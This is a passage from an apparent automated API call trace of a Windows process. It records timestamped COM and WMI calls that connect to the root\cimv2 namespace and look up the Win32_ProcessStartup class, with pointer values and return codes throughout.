Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c0019a0) returned 0x0 [0079.337] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0019a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.337] WbemDefPath:IUnknown:Release (This=0x1c0019a0) returned 0x3 [0079.337] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0079.337] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0079.337] WbemDefPath:IUnknown:Release (This=0x1bfbd2c0) returned 0x2 [0079.337] WbemDefPath:IUnknown:Release (This=0x1bfbd2c0) returned 0x1 [0079.337] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0079.337] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbd2c0) returned 0x0 [0079.337] WbemDefPath:IUnknown:AddRef (This=0x1bfbd2c0) returned 0x3 [0079.338] WbemDefPath:IUnknown:Release (This=0x1bfbd2c0) returned 0x2 [0079.338] WbemDefPath:IWbemPath:SetText (This=0x1bfbd2c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd2c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd2c0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd2c0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd2c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd2c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd2c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd2c0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0079.338] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.338] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0079.338] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0079.338] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0079.338] IUnknown:Release (This=0x111f638) returned 0x1 [0079.341] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c0019e0) returned 0x0 [0079.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0019e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0079.341] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0019e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bfbd380) returned 0x0 [0079.341] WbemDefPath:IUnknown:Release (This=0x1c0019e0) returned 0x0 [0079.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bfbd380) returned 0x0 [0079.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0079.342] WbemDefPath:IUnknown:AddRef (This=0x1bfbd380) returned 0x3 [0079.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0079.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0079.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c001a20) returned 0x0 [0079.342] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001a20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.342] WbemDefPath:IUnknown:Release (This=0x1c001a20) returned 0x3 [0079.342] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0079.342] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0079.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0079.342] WbemDefPath:IUnknown:Release (This=0x1bfbd380) returned 0x2 [0079.342] WbemDefPath:IUnknown:Release (This=0x1bfbd380) returned 0x1 [0079.342] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0079.342] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0079.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd380, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bfbd380) returned 0x0 [0079.342] WbemDefPath:IUnknown:AddRef (This=0x1bfbd380) returned 0x3 [0079.342] WbemDefPath:IUnknown:Release (This=0x1bfbd380) returned 0x2 [0079.343] WbemDefPath:IWbemPath:SetText (This=0x1bfbd380, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0079.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd380, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.343] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd380, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0079.343] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd380, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.343] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0079.343] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0079.343] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0079.343] IUnknown:Release (This=0x111f638) returned 0x1 [0079.344] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c001b20) returned 0x0 [0079.344] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0079.344] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c001b20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c001b40) returned 0x0 [0079.345] WbemLocator:IUnknown:Release (This=0x1c001b20) returned 0x0 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c001b40) returned 0x0 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0079.345] WbemLocator:IUnknown:AddRef (This=0x1c001b40) returned 0x3 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0079.345] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0079.345] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0079.345] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0079.346] WbemLocator:IUnknown:Release (This=0x1c001b40) returned 0x2 [0079.346] WbemLocator:IUnknown:Release (This=0x1c001b40) returned 0x1 [0079.346] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0079.346] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0079.346] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001b40, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c001b40) returned 0x0 [0079.346] WbemLocator:IUnknown:AddRef (This=0x1c001b40) returned 0x3 [0079.346] WbemLocator:IUnknown:Release (This=0x1c001b40) returned 0x2 [0079.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd380, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd380, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0079.346] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd380, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.346] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c001b60) returned 0x0 [0079.346] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c001b60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c0097c0) returned 0x0 [0079.477] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0097c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97020) returned 0x0 [0079.478] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97020, pProxy=0x1c0097c0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0079.478] WbemLocator:IUnknown:Release (This=0x1bf97020) returned 0x1 [0079.478] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0097c0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97060) returned 0x0 [0079.478] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0097c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97020) returned 0x0 [0079.478] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97020, pProxy=0x1c0097c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0079.478] WbemLocator:IUnknown:Release (This=0x1bf97020) returned 0x2 [0079.478] WbemLocator:IUnknown:Release (This=0x1bf97060) returned 0x1 [0079.478] CoTaskMemFree (pv=0x1c009cd0) [0079.478] WbemLocator:IUnknown:AddRef (This=0x1c0097c0) returned 0x2 [0079.478] WbemLocator:IUnknown:Release (This=0x1c001b60) returned 0x0 [0079.479] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0079.479] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0079.479] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0097c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97030) returned 0x0 [0079.479] WbemLocator:IRpcOptions:Query (in: This=0x1bf97030, pPrx=0x1c001bc0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0079.479] WbemLocator:IUnknown:Release (This=0x1bf97030) returned 0x2 [0079.479] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0079.479] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0079.479] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0097c0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c0097c0) returned 0x0 [0079.479] WbemLocator:IUnknown:Release (This=0x1c0097c0) returned 0x2 [0079.479] SysStringLen (param_1=0x0) returned 0x0 [0079.479] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd2c0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0079.480] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd2c0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0079.480] IWbemServices:GetObject (in: This=0x1c0097c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1171fa0, ppCallResult=0x0) returned 0x0 [0079.481] IWbemClassObject:Get (in: This=0x1171fa0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0079.481] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0079.481] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0079.482] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0079.482] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0079.482] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0079.482] IUnknown:Release (This=0x111f638) returned 0x1 [0079.483] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c001b60) returned 0x0 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001b60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0079.484] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001b60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bfbd440) returned 0x0 [0079.484] WbemDefPath:IUnknown:Release (This=0x1c001b60) returned 0x0 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bfbd440) returned 0x0 [0079.484] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd440, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) 